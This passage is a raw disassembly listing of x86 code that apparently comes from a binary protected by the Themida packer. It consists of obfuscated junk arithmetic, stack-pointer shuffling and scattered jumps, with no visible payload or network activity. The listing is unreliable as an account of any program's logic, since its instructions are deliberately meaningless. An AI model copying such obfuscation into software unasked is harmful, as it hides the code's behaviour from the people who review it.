; ---------------------------------------------------------------------------


loc_564836:				; CODE XREF: sub_562ABA+F1D7j
		push	bx
		jmp	loc_566213
; ---------------------------------------------------------------------------


loc_56483D:				; CODE XREF: sub_562ABA+398Ej
		mov	eax, 1
		sub	ebp, eax
		jmp	loc_566724
; ---------------------------------------------------------------------------


loc_564849:				; CODE XREF: sub_562ABA-1C7Bj
		push	ebx
		mov	ebx, 754E77CDh
		inc	ebx
		jmp	loc_565C9F
; ---------------------------------------------------------------------------


loc_564855:				; CODE XREF: sub_562ABA+139Fj
		add	esp, 4
		sub	eax, 0F3BDB6E5h
		or	edx, eax
		pop	eax
		shl	edx, 5
		add	edx, 8A900C64h
		jmp	loc_570F40
; ---------------------------------------------------------------------------


loc_56486E:				; CODE XREF: sub_562ABA+D7F2j
		push	ebp
		push	ebx
		jmp	loc_572A1C
; ---------------------------------------------------------------------------


loc_564875:				; CODE XREF: sub_562ABA+6CE2j
		add	ebp, ebx
		pop	ebx
		add	edi, ebp
		pop	ebp
		xor	edi, [esp+1Eh+var_1E]
		xor	[esp+1Eh+var_1E], edi
		jmp	loc_565E15
; ---------------------------------------------------------------------------


loc_564886:				; CODE XREF: sub_562ABA+D5B6j
		sub	esp, 4
		mov	[esp+22h+var_22], eax
		mov	eax, 4
		add	edi, eax
		mov	eax, [esp+22h+var_22]
		add	esp, 4
		push	edi
		jmp	loc_55F500
; ---------------------------------------------------------------------------


loc_5648A5:				; CODE XREF: sub_562ABA+FAC5j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+22h+var_22]
		mov	esp, [esp+22h+var_22]
		push	esi
		mov	esi, esp
		jmp	loc_56D63E
; ---------------------------------------------------------------------------


loc_5648BE:				; CODE XREF: sub_562ABA-3468j
		mov	[esp+26h+var_28+2], ebp
		push	edi
		mov	edi, 58FB0664h
		mov	ebp, edi
		pop	edi
		not	ebp
		jmp	loc_55F115
; ---------------------------------------------------------------------------


loc_5648D1:				; CODE XREF: sub_562ABA+C567j
		add	al, 62h
		jmp	loc_571D03
; ---------------------------------------------------------------------------


loc_5648D8:				; CODE XREF: sub_562ABA+ED02j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_566EA4
; ---------------------------------------------------------------------------


loc_5648EC:				; CODE XREF: sub_562ABA-15D7j
		mov	dl, ah
		pop	ax
		push	1222h
		mov	[esp-4+arg_0], edx
		sub	esp, 4
		jmp	loc_56AFAF
; ---------------------------------------------------------------------------


loc_564903:				; CODE XREF: sub_562ABA+8B95j
		push	esi
		push	ebp
		push	306B3614h
		jmp	loc_56CACE
; ---------------------------------------------------------------------------


loc_56490F:				; CODE XREF: sub_562ABA+5F1Dj
		sub	[esp+0Ch+var_8], edi
		pop	edi
		pop	ecx
		jmp	loc_56BFAA
; ---------------------------------------------------------------------------
		mov	esp, [esp+4+var_4]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_564922:				; CODE XREF: sub_562ABA+D4BEj
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		push	ecx
		jmp	loc_5623DB
; ---------------------------------------------------------------------------


loc_56492E:				; CODE XREF: sub_562ABA+B648j
		add	ebx, 65A16606h
		pop	ecx
		sub	ebx, edi
		add	ebx, 1B6693Ch
		push	edi
		mov	edi, 7EBF71B1h
		add	edi, 0B9AE9A4Eh
		sub	ebx, edi
		pop	edi
		pop	edi
		xor	ebx, [esp-4+arg_0]
		xor	[esp-4+arg_0], ebx
		xor	ebx, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], eax
		jmp	loc_560E17
; ---------------------------------------------------------------------------


loc_56495F:				; CODE XREF: sub_562ABA+7852j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-8+arg_4]
		pop	esp
		add	esp, 4
		push	4B56h
		jmp	loc_55E26C
; ---------------------------------------------------------------------------


loc_56497C:				; CODE XREF: sub_562ABA+226Bj
		sub	bl, 0C9h
		jmp	loc_5650CC
; ---------------------------------------------------------------------------


loc_564984:				; CODE XREF: sub_562ABA+A29Cj
		add	edi, ebp
		add	edi, 13BC7FEAh
		pop	ebp
		push	esi
		mov	esi, 514103DCh
		xor	esi, 514103DEh
		jmp	loc_560DC5
; ---------------------------------------------------------------------------


loc_56499E:				; CODE XREF: sub_562ABA+D832j
		add	ecx, 4
		jmp	loc_5698D7
; ---------------------------------------------------------------------------


loc_5649A9:				; CODE XREF: sub_562ABA+8745j
		pop	esp
		pop	[esp-10h+arg_C]
		mov	esp, [esp-14h+arg_10]
		mov	word ptr [esp-14h+arg_10], cx
		jmp	loc_56E3FA
; ---------------------------------------------------------------------------


loc_5649B9:				; CODE XREF: sub_562ABA+987Bj
		add	edx, eax
		pop	eax
		push	ecx
		push	6D87h
		mov	[esp-10h+arg_C], edx
		push	43A93E02h
		pop	edx
		push	edx
		xchg	edx, [esp-0Ch+arg_8]
		not	edx
		xchg	edx, [esp-0Ch+arg_8]
		pop	edx
		push	esi
		mov	esi, 4EB9192Ch
		dec	esi
		xor	esi, 492277DEh
		or	esi, 55E25C97h
		add	esi, 645B4302h
		jmp	loc_562B92
; ---------------------------------------------------------------------------


loc_5649F3:				; CODE XREF: sub_562ABA+4DCAj
		add	esp, 4
		sub	esp, 4
		mov	[esp-0Ch+arg_8], edi
		jmp	loc_5667D4
; ---------------------------------------------------------------------------


loc_564A04:				; CODE XREF: sub_562ABA+E056j
		sub	edx, 313D205Bh
		add	edx, 45193C71h
		xor	edx, 3FDC10DDh
		add	edx, 6B62324Bh
		add	edx, 607DADBBh
		mov	ebx, edx
		mov	edx, [esp-0Ch+arg_8]
		jmp	loc_55E704
; ---------------------------------------------------------------------------


loc_564A2C:				; CODE XREF: Themida_:0055F320j
		pop	eax
		jmp	loc_56EB65
; ---------------------------------------------------------------------------


loc_564A32:				; CODE XREF: sub_562ABA+18CDj
		mov	esi, 30993699h
		push	esi
		pop	ecx
		pop	esi
		jmp	loc_57283E
; ---------------------------------------------------------------------------


loc_564A3F:				; CODE XREF: sub_562ABA+10036j
		pop	ecx
		jmp	loc_5715BC
; ---------------------------------------------------------------------------


loc_564A45:				; CODE XREF: sub_562ABA+3CEDj
		push	2FD0h
		mov	[esp+12h+var_12], edi
		push	eax
		mov	eax, 4F9F4374h
		push	ebx
		mov	ebx, 13346A75h
		mov	edi, 0D65D6281h
		add	edi, 61ED47ACh
		sub	edi, ebx
		sub	edi, 61ED47ACh
		pop	ebx
		jmp	loc_560AA0
; ---------------------------------------------------------------------------


loc_564A72:				; CODE XREF: sub_562ABA+1234j
		pop	ecx
		jmp	loc_565E6F
; ---------------------------------------------------------------------------


loc_564A78:				; CODE XREF: sub_562ABA+C1F9j
		shl	ecx, 4
		push	ebp
		mov	ebp, 6A3F717Bh
		jmp	loc_572577
; ---------------------------------------------------------------------------


loc_564A86:				; CODE XREF: sub_55FCA5+428j
		pop	edi
		pop	edi
		add	eax, ebx
		add	eax, 4B293CAAh
		sub	esp, 4
		mov	[esp+16h+var_16], ebp
		push	edx
		mov	edx, 0EF02E6Eh
		push	esi
		jmp	loc_568204
; ---------------------------------------------------------------------------


loc_564AA4:				; CODE XREF: sub_562ABA+C836j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp+22h+var_22]
		xor	[esp+22h+var_22], ebp
		xor	ebp, [esp+22h+var_22]
		pop	esp
		jmp	loc_56AB3B
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_56E9C9
; ---------------------------------------------------------------------------


loc_564ACA:				; CODE XREF: sub_562ABA-1078j
		xor	[esp+40h+var_42+2], ebx
		jmp	loc_56DA55
; ---------------------------------------------------------------------------


loc_564AD2:				; CODE XREF: sub_562ABA+B9DBj
		pop	esp
		mov	ch, bh
		push	[esp+3Ch+var_3E+2]
		mov	ebx, [esp+40h+var_42+2]
		push	eax
		mov	eax, esp
		jmp	loc_55F4D6
; ---------------------------------------------------------------------------


loc_564AE3:				; CODE XREF: sub_562ABA+C9CFj
		mov	eax, 4D2C4462h
		jmp	sub_55F332
; ---------------------------------------------------------------------------


loc_564AED:				; CODE XREF: sub_562ABA+E33j
		pop	esp
		jmp	loc_5710A6
; ---------------------------------------------------------------------------


loc_564AF3:				; CODE XREF: sub_562ABA+FF3Ej
		mov	edi, 4
		jmp	loc_56CBFA
; ---------------------------------------------------------------------------


loc_564AFD:				; CODE XREF: sub_562ABA+8406j
		push	ebx
		mov	ebx, 4
		push	esi
		mov	esi, 50CF600Fh
		shr	esi, 5
		neg	esi
		jmp	loc_56DD07
; ---------------------------------------------------------------------------


loc_564B13:				; CODE XREF: sub_562ABA+6E3Fj
		pop	eax
		xor	eax, esi
		mov	esi, [esp+48h+var_4A+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_561952
; ---------------------------------------------------------------------------


loc_564B27:				; CODE XREF: sub_562ABA+4914j
		pop	ebx
		add	esp, 4
		jmp	loc_56BE93
; ---------------------------------------------------------------------------


loc_564B30:				; CODE XREF: sub_562ABA+C29j
		pop	ebx
		and	edx, 72875B30h
		dec	edx
		sub	esp, 4
		mov	[esp+16h+var_16], edx
		not	[esp+16h+var_16]
		pop	edx
		sub	edx, 0DFFEF4ECh
		add	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp+12h+var_12], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	[esp+12h+var_12]
		mov	esp, [esp+0]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_564B64:				; CODE XREF: sub_562ABA+7649j
		mov	edi, 30435BE1h
		mov	eax, edi
		jmp	loc_568935
; ---------------------------------------------------------------------------


loc_564B70:				; CODE XREF: sub_562ABA+27ECj
		not	eax
		xor	eax, 0FFCDFF7Bh
		sub	edi, 13A94649h
		add	edi, eax
		add	edi, 13A94649h
		jmp	loc_56A2EF
; ---------------------------------------------------------------------------


loc_564B8A:				; CODE XREF: sub_562ABA+3447j
		pop	esp
		add	[esp+0Ah+var_8+2], 79C01A8Ah
		sub	[esp+0Ah+var_8+2], ebx
		push	ebp
		mov	ebp, 79C01A8Ah
		sub	[esp+0Eh+var_8+2], ebp
		pop	ebp
		mov	ebx, [esp+0Ah+var_C+2]
		add	esp, 4
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_564BAD:				; CODE XREF: sub_562ABA+D63Cj
		push	ebx
		push	3955h
		jmp	loc_56D030
; ---------------------------------------------------------------------------


loc_564BB8:				; CODE XREF: sub_562ABA+5C53j
		push	7EF13E06h
		mov	esi, [esp+12h+var_12]
		jmp	loc_56B81A
; ---------------------------------------------------------------------------


loc_564BC5:				; CODE XREF: sub_562ABA+AF15j
		push	eax
		jmp	loc_56BA84
; ---------------------------------------------------------------------------


loc_564BCB:				; CODE XREF: sub_562ABA-4206j
		push	ebp
		jmp	loc_566EAF
; ---------------------------------------------------------------------------


loc_564BD1:				; CODE XREF: sub_562ABA-2620j
		pop	ebx
		add	ebx, eax
		mov	eax, [esp+0]
		add	esp, 4
		xchg	ebx, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		mov	ax, word ptr [esp+0Ah+var_C+2]
		push	0C73h
		mov	[esp+0], edi
		jmp	loc_55FB60
; ---------------------------------------------------------------------------


loc_564BF4:				; CODE XREF: sub_562ABA+4807j
		push	edx
		jmp	loc_564529
; ---------------------------------------------------------------------------


loc_564BFA:				; CODE XREF: sub_562ABA+3616j
		pop	esi
		jmp	loc_56FF98
; ---------------------------------------------------------------------------


loc_564C00:				; CODE XREF: sub_562ABA+DDA7j
		inc	ecx
		add	ecx, 710A5157h
		jmp	loc_55F2A2
; ---------------------------------------------------------------------------


loc_564C0C:				; CODE XREF: sub_562ABA+3455j
		push	dword ptr [esp+0]
		pop	eax
		add	esp, 4
		xchg	edi, [esp+0Ah+var_C+2]
		jmp	loc_5606AD
; ---------------------------------------------------------------------------


loc_564C1B:				; CODE XREF: sub_562ABA+F949j
		sub	esi, 10C26464h
		xor	esi, 3F757127h
		inc	esi
		sub	esi, 23C94BACh
		push	eax
		mov	eax, 0D207E58Ah
		sub	esi, eax
		push	dword ptr [esp+0]
		jmp	loc_56EC95
; ---------------------------------------------------------------------------


loc_564C3E:				; CODE XREF: sub_562ABA+359Bj
		mov	edx, 52ED3504h
		shr	edx, 2
		sub	edx, 0EFD435B9h
		xor	ecx, edx
		pop	edx
		mov	edx, [esp+0]
		add	esp, 4
		add	ecx, edi
		pop	edi
		xor	[esp+6+var_4+2], ecx
		push	[esp+6+var_8+2]
		pop	ecx
		push	ecx
		mov	ecx, esp
		jmp	loc_5700FB
; ---------------------------------------------------------------------------


loc_564C68:				; CODE XREF: sub_562ABA+1170j
		add	esp, 4
		push	esi
		push	ecx
		mov	ecx, 31AB2C11h
		shr	ecx, 6
		push	esi
		jmp	loc_5673B8
; ---------------------------------------------------------------------------


loc_564C7E:				; CODE XREF: sub_562ABA-87Fj
		shr	ebx, 3
		sub	ebx, 321B5728h
		add	ebx, 16E9EC18h
		add	edi, ebx
		jmp	loc_56653B
; ---------------------------------------------------------------------------


loc_564C94:				; CODE XREF: sub_562ABA+CF93j
		sub	ebx, 0F92BDC43h
		jmp	loc_5651FA
; ---------------------------------------------------------------------------


loc_564C9F:				; CODE XREF: sub_562ABA+F4B4j
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp+14h+var_16+2]
		pop	esp
		jmp	loc_56B217
; ---------------------------------------------------------------------------


loc_564CB7:				; CODE XREF: sub_562ABA+BAC3j
		mov	ecx, [esp+10h+var_12+2]
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		jmp	loc_56B53D
; ---------------------------------------------------------------------------


loc_564CCB:				; CODE XREF: Themida_:0055F157j
		mov	ecx, 596D0D00h
		jmp	loc_5728DA
; ---------------------------------------------------------------------------


loc_564CD5:				; CODE XREF: sub_562ABA+DFF8j
		mov	esi, [esp+14h+var_16+2]
		add	esp, 4
		add	esp, 4
		add	ecx, 0FDEFBDF4h
		add	edx, ecx
		jmp	loc_570535
; ---------------------------------------------------------------------------


loc_564CEE:				; CODE XREF: sub_562ABA-1D36j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+32h+var_32]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+32h+var_32]
		pop	esp
		mov	eax, [esp+0]
		add	esp, 4
		push	ecx
		jmp	loc_5703D0
; ---------------------------------------------------------------------------


loc_564D1F:				; CODE XREF: sub_562ABA-110j
		and	bl, 89h
		sub	bl, 50h
		jmp	loc_56497C
; ---------------------------------------------------------------------------


loc_564D2A:				; CODE XREF: sub_562ABA+3788j
		push	[esp+2Ah+var_2C+2]
		push	dword ptr [esp+0]
		pop	eax
		jmp	loc_55E6EA
; ---------------------------------------------------------------------------
		mov	cx, [esp+0]
		jmp	loc_5668CC
; ---------------------------------------------------------------------------


loc_564D3F:				; CODE XREF: sub_562ABA-4471j
		add	edx, 48DDD2BBh
		add	ebp, edx
		mov	edx, [esp+46h+var_46]
		add	esp, 4
		add	esi, 3D1446EFh
		add	esi, ebp
		sub	esi, 3D1446EFh
		pop	ebp
		push	ecx
		mov	ecx, 67762926h
		shr	ecx, 3
		push	ebp
		mov	ebp, 1
		sub	ecx, ebp
		pop	ebp
		xor	ecx, 2D5E3C59h
		push	ecx
		xchg	edx, [esp+46h+var_46]
		not	edx
		push	edx
		push	[esp+4Ah+var_46]
		pop	edx
		pop	[esp+4Ah+var_4A]
		mov	ecx, [esp+46h+var_46]
		add	esp, 4
		shl	ecx, 2
		xor	ecx, 793C1A10h
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp+3Eh+var_3E]
		pop	esp


loc_564D9F:				; CODE XREF: sub_562ABA+108Bj
		push	edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_56C404
; ---------------------------------------------------------------------------


loc_564DAD:				; CODE XREF: sub_562ABA+B059j
		push	edx
		push	[esp+46h+var_42]
		pop	edx
		pop	[esp+46h+var_46]
		pop	esp
		add	esi, ebx
		mov	ebx, [esp+3Eh+var_3E]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55ED6E
; ---------------------------------------------------------------------------


loc_564DCA:				; CODE XREF: sub_562ABA+11BEj
		pop	eax
		push	5B0Eh
		mov	[esp+36h+var_36], edx
		push	edi
		mov	edi, 7FA67874h
		sub	[esp+3Ah+var_36], edi
		mov	edi, [esp+3Ah+var_3A]
		jmp	loc_5728F2
; ---------------------------------------------------------------------------


loc_564DE5:				; CODE XREF: sub_562ABA+4C19j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+3Ah+var_3A]
		pop	esp
		jmp	loc_56BCCF
; ---------------------------------------------------------------------------


loc_564DF7:				; CODE XREF: sub_562ABA+F9FDj
		dec	edi
		not	edi
		xor	edi, ecx
		jmp	loc_56D6CB
; ---------------------------------------------------------------------------


loc_564E01:				; CODE XREF: sub_562ABA+B021j
		shl	ebx, 2
		xor	ebx, 3F5271CFh
		mov	ecx, ebx
		pop	ebx
		push	edi
		mov	edi, esp
		jmp	loc_561D87
; ---------------------------------------------------------------------------


loc_564E15:				; CODE XREF: sub_562ABA+9E12j
		xor	ebx, [esp+36h+var_36]
		xor	[esp+36h+var_36], ebx
		jmp	loc_56AA89
; ---------------------------------------------------------------------------


loc_564E20:				; DATA XREF: Themida_:0055DDE4o
		lodsd
		xor	eax, ebx
		jmp	loc_567666
; ---------------------------------------------------------------------------


loc_564E28:				; DATA XREF: Themida_:0055DDC0o
		mov	ax, word ptr [esp+36h+var_36]
		push	19DAh
		mov	[esp+3Ah+var_3A], ebp
		jmp	loc_563149
; ---------------------------------------------------------------------------


loc_564E39:				; CODE XREF: sub_562ABA+1C68j
		push	7D71h
		mov	[esp+26h+var_28+2], eax
		mov	eax, 10D2297Dh
		jmp	loc_56F480
; ---------------------------------------------------------------------------


loc_564E4B:				; CODE XREF: sub_562ABA+2B1Ej
		push	ecx
		jmp	loc_56C102
; ---------------------------------------------------------------------------


loc_564E51:				; CODE XREF: sub_562ABA+44A2j
		sub	esp, 4
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	ecx
		add	ecx, 4
		jmp	loc_5650EA
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	word ptr [esp+28h+var_28], ax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_564E77:				; CODE XREF: sub_562ABA+A926j
		mov	esp, [esp+2Ch+var_2C]
		push	17CCh
		mov	[esp+30h+var_32+2], edx
		push	esp
		jmp	loc_56292A
; ---------------------------------------------------------------------------


loc_564E88:				; CODE XREF: sub_562ABA+6DDBj
		add	edx, 4
		jmp	loc_5660B9
; ---------------------------------------------------------------------------


loc_564E93:				; CODE XREF: sub_562ABA+8789j
		add	edx, edi
		pop	edi
		sub	esi, edx
		pop	edx
		push	ebp
		push	24997386h
		mov	ebp, [esp+34h+var_36+2]
		add	esp, 4
		push	eax
		mov	eax, 547A6B46h
		and	ebp, eax
		jmp	loc_569A6C
; ---------------------------------------------------------------------------


loc_564EB5:				; CODE XREF: sub_562ABA+141Dj
		push	[esp+4Ah+var_4A]
		mov	edx, [esp+4Eh+var_4E]
		add	esp, 4
		jmp	loc_56EC5D
; ---------------------------------------------------------------------------


loc_564EC6:				; CODE XREF: sub_562ABA+6C75j
		push	39613CC5h
		jmp	loc_568036
; ---------------------------------------------------------------------------


loc_564ED0:				; CODE XREF: sub_562ABA+C4D6j
		sub	edi, 741B61B6h
		mov	ebx, edi
		pop	edi
		push	ebp
		mov	ebp, 6F44776Fh
		add	edx, 6D64759Bh
		sub	edx, ebp
		sub	edx, 6D64759Bh
		pop	ebp
		jmp	loc_56F779
; ---------------------------------------------------------------------------


loc_564EF3:				; CODE XREF: sub_562ABA-2404j
		pop	ecx
		push	eax
		mov	eax, 4
		push	ebp
		mov	ebp, 7E575C72h
		jmp	loc_56157B
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0]
		jmp	loc_570B7B
; ---------------------------------------------------------------------------


loc_564F0D:				; CODE XREF: sub_562ABA+260Dj
		mov	edx, 8445649h
		sub	ebx, 3A3D0EB8h
		add	ebx, edx
		add	ebx, 3A3D0EB8h
		pop	edx
		add	esi, ebx
		pop	ebx
		mov	ebx, [esp-8+arg_4]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_56AB24
; ---------------------------------------------------------------------------


loc_564F3B:				; CODE XREF: sub_562ABA+C666j
		add	bx, 46D8h
		jmp	loc_562D18
; ---------------------------------------------------------------------------


loc_564F45:				; CODE XREF: sub_562ABA+A1BDj
		pop	eax
		jmp	loc_56939C
; ---------------------------------------------------------------------------


loc_564F4B:				; CODE XREF: sub_562ABA-42E8j
		add	eax, 63A82519h
		add	eax, edi
		sub	eax, 63A82519h
		pop	edi
		push	ecx
		mov	ecx, 296C44B2h
		sub	ecx, 296C44B0h
		add	eax, ecx
		pop	ecx
		xor	eax, [esp+1Eh+var_1E]
		xor	[esp+1Eh+var_1E], eax
		xor	eax, [esp+1Eh+var_1E]
		mov	esp, [esp+1Eh+var_1E]
		shr	byte ptr [esp+1Eh+var_1E], cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_564F7C:				; CODE XREF: sub_562ABA-459Bj
		mov	ecx, [esp+1Ah+var_1A]
		jmp	loc_566F38
; ---------------------------------------------------------------------------


loc_564F84:				; CODE XREF: sub_562ABA+6D55j
		push	edx
		jmp	loc_55FD70
; ---------------------------------------------------------------------------


loc_564F8A:				; CODE XREF: sub_562ABA+27D6j
		pop	eax
		xchg	ecx, [esp+1Ah+var_1A]
		pop	esp
		push	eax
		sub	[esp+1Ah+var_1A], 57BC20DBh
		mov	ebx, [esp+1Ah+var_1A]
		add	esp, 4
		jmp	loc_566C8E
; ---------------------------------------------------------------------------


loc_564FA2:				; CODE XREF: sub_562ABA+8B27j
		pop	ebx
		add	eax, ecx
		add	eax, 6E13214Bh
		push	3E71h
		mov	[esp+16h+var_16], ebx
		push	eax
		mov	eax, 324D7C0Eh
		mov	ebx, eax
		pop	eax
		sub	eax, 38D83991h
		add	eax, ebx
		jmp	loc_56F302
; ---------------------------------------------------------------------------


loc_564FC7:				; CODE XREF: sub_562ABA+2A35j
		mov	esi, [esp+16h+var_16]
		add	esp, 4
		push	2F5Bh
		mov	[esp+16h+var_16], ebp
		push	51Bh
		mov	[esp+1Ah+var_1A], ebx
		mov	ebx, 613742E4h
		mov	ebp, ebx
		pop	ebx
		push	edi
		mov	edi, 1AEB6D50h
		add	eax, edi
		mov	edi, [esp+1Ah+var_1A]
		add	esp, 4
		push	ebx
		jmp	loc_55E65D
; ---------------------------------------------------------------------------


loc_564FFC:				; CODE XREF: sub_562ABA+CCB4j
		push	[esp+1Ah+var_1A]
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+1Eh+var_1E]
		mov	esp, [esp+1Eh+var_1E]
		jmp	loc_561C84
; ---------------------------------------------------------------------------


loc_56501A:				; CODE XREF: sub_562ABA+9EBBj
		add	edx, 3B8361ECh
		mov	eax, [esp+1Eh+var_1E]
		add	esp, 4
		sub	edx, 4
		xchg	edx, [esp+1Ah+var_1A]
		pop	esp
		mov	[esp+16h+var_16], ebx
		mov	eax, [esp+16h+var_16]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+1Ah+var_1A]
		mov	esp, [esp+1Ah+var_1A]
		push	ecx
		push	esp
		mov	ecx, [esp+22h+var_22]
		add	esp, 4
		jmp	loc_566C3D
; ---------------------------------------------------------------------------


loc_565052:				; CODE XREF: sub_562ABA-13AFj
		mov	[esp+26h+var_28+2], edx
		jmp	loc_56CE62
; ---------------------------------------------------------------------------


loc_56505A:				; CODE XREF: sub_562ABA+72C4j
		pop	edx
		jmp	loc_56A429
; ---------------------------------------------------------------------------


loc_565060:				; CODE XREF: sub_562ABA+EED3j
		mov	[esp+22h+var_22], edi
		sub	esp, 4
		mov	[esp+26h+var_28+2], ecx
		push	66F10679h
		pop	ecx
		push	ecx
		xor	[esp+2Ah+var_2C+2], 1A08316Ah
		pop	edi
		jmp	loc_561463
; ---------------------------------------------------------------------------


loc_565080:				; CODE XREF: sub_562ABA+D1AAj
		mov	[esp+26h+var_28+2], ecx
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], esi
		mov	esi, 71671EA9h
		sub	esi, 0FFFFFFFFh
		sub	esi, 0C5558A3h
		jmp	loc_56AC2C
; ---------------------------------------------------------------------------


loc_56509F:				; CODE XREF: sub_562ABA-3C36j
		mov	ebp, 673633C9h
		jmp	loc_569AD4
; ---------------------------------------------------------------------------


loc_5650A9:				; CODE XREF: sub_562ABA+B3C9j
		sub	esi, 0BA85893h
		add	esi, 30707295h
		add	esi, ebx
		sub	esi, 30707295h
		push	ebx
		mov	ebx, 1B201255h
		shr	ebx, 3
		push	edx
		jmp	loc_564F0D
; ---------------------------------------------------------------------------


loc_5650CC:				; CODE XREF: sub_562ABA+1EC5j
		or	dl, bl
		mov	ebx, [esp-0Ch+arg_8]
		add	esp, 4
		sub	dl, 0E2h
		push	eax
		mov	al, dl
		mov	bh, al
		jmp	loc_56EC63
; ---------------------------------------------------------------------------


loc_5650E4:				; CODE XREF: sub_562ABA+3ECEj
		pop	ebp
		jmp	loc_56121E
; ---------------------------------------------------------------------------


loc_5650EA:				; CODE XREF: sub_562ABA+23A8j
		sub	esp, 4
		mov	[esp+0], ebx
		push	3BD7h
		mov	[esp+32h+var_32], edi
		push	7E026AA5h
		jmp	loc_5616E0
; ---------------------------------------------------------------------------


loc_565102:				; CODE XREF: sub_562ABA+B492j
		mov	eax, [esp+36h+var_36]
		add	esp, 4
		and	eax, ebx
		push	[esp+32h+var_32]
		pop	ebx
		jmp	loc_56407E
; ---------------------------------------------------------------------------


loc_565116:				; CODE XREF: sub_562ABA+5C44j
		shr	esi, 5
		jmp	loc_568794
; ---------------------------------------------------------------------------


loc_56511E:				; CODE XREF: sub_562ABA+89Cj
		mov	[esp+0], ebp
		jmp	loc_5628C6
; ---------------------------------------------------------------------------


loc_565126:				; CODE XREF: sub_562ABA-112Bj
		push	edi
		jmp	loc_563511
; ---------------------------------------------------------------------------


loc_56512C:				; CODE XREF: sub_562ABA-238Dj
		pop	esp
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, 3B26134Ch
		neg	edi
		inc	edi
		shl	edi, 8
		push	esi
		mov	esi, 6C14659Eh
		xor	edi, esi
		pop	esi
		push	esi
		mov	esi, 78365A75h
		jmp	loc_56438C
; ---------------------------------------------------------------------------


loc_565152:				; CODE XREF: sub_562ABA+2F4Bj
		add	ecx, 247E2F23h
		pop	edx
		push	esi
		mov	esi, 11867097h
		add	eax, esi
		pop	esi
		add	eax, ecx
		sub	eax, 11867097h
		jmp	loc_565C63
; ---------------------------------------------------------------------------


loc_56516E:				; CODE XREF: sub_562ABA+486Cj
		add	eax, 4
		jmp	loc_56B55A
; ---------------------------------------------------------------------------


loc_565176:				; CODE XREF: sub_562ABA+3F76j
		pop	ebp
		add	esp, 4
		shl	ebp, 1
		or	ebp, 3A90A5Eh
		shl	ebp, 1
		sub	ebp, 9EC86181h
		and	esi, ebp
		jmp	loc_5611C2
; ---------------------------------------------------------------------------


loc_565194:				; CODE XREF: Themida_:0055F0C4j
		push	[esp-0Ah+arg_4+2]
		pop	edx
		add	esp, 4
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 4
		add	esi, 3F895AACh
		add	esi, eax
		push	edx
		jmp	loc_56E0B5
; ---------------------------------------------------------------------------


loc_5651B2:				; CODE XREF: sub_562ABA+D21Aj
		xchg	edx, [esp+0]
		pop	esp
		add	ebp, 4
		add	ebp, 2
		xor	ebp, [esp-6+arg_0+2]
		xor	[esp-6+arg_0+2], ebp
		xor	ebp, [esp-6+arg_0+2]
		mov	esp, [esp-6+arg_0+2]
		mov	ax, word ptr [esp-6+arg_0+2]
		push	5A27h
		mov	[esp+0], edx
		jmp	loc_563DB2
; ---------------------------------------------------------------------------


loc_5651DC:				; CODE XREF: sub_562ABA+69C3j
		sub	ebp, esi
		jmp	loc_5701BC
; ---------------------------------------------------------------------------


loc_5651E3:				; CODE XREF: sub_562ABA+7125j
		pop	esi
		dec	edx
		dec	edx
		jmp	loc_565A7F
; ---------------------------------------------------------------------------


loc_5651EB:				; CODE XREF: sub_562ABA+1521j
		push	[esp+36h+var_36]
		pop	edx
		add	esp, 4
		jmp	loc_560EC7
; ---------------------------------------------------------------------------


loc_5651FA:				; CODE XREF: sub_562ABA+21E0j
		mov	eax, ebx
		jmp	loc_56C3BE
; ---------------------------------------------------------------------------


loc_565201:				; CODE XREF: sub_562ABA-1C58j
		mov	ecx, 786B3EDDh
		jmp	loc_561A7A
; ---------------------------------------------------------------------------


loc_56520B:				; CODE XREF: sub_562ABA+AB0j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+36h+var_36]
		mov	esp, [esp+36h+var_36]
		add	esi, 4
		xchg	esi, [esp+36h+var_36]
		mov	esp, [esp+36h+var_36]
		movzx	ecx, ax
		jmp	loc_566BE7
; ---------------------------------------------------------------------------


loc_56522B:				; CODE XREF: sub_562ABA+75B4j
		pop	ebx
		shl	ebx, 7
		shr	ebx, 1
		push	edi
		mov	edi, 6C2D5A08h
		or	ebx, edi
		jmp	loc_56A49E
; ---------------------------------------------------------------------------


loc_56523E:				; CODE XREF: sub_562ABA+3C5Dj
		push	ebp
		mov	ebp, 371422D0h
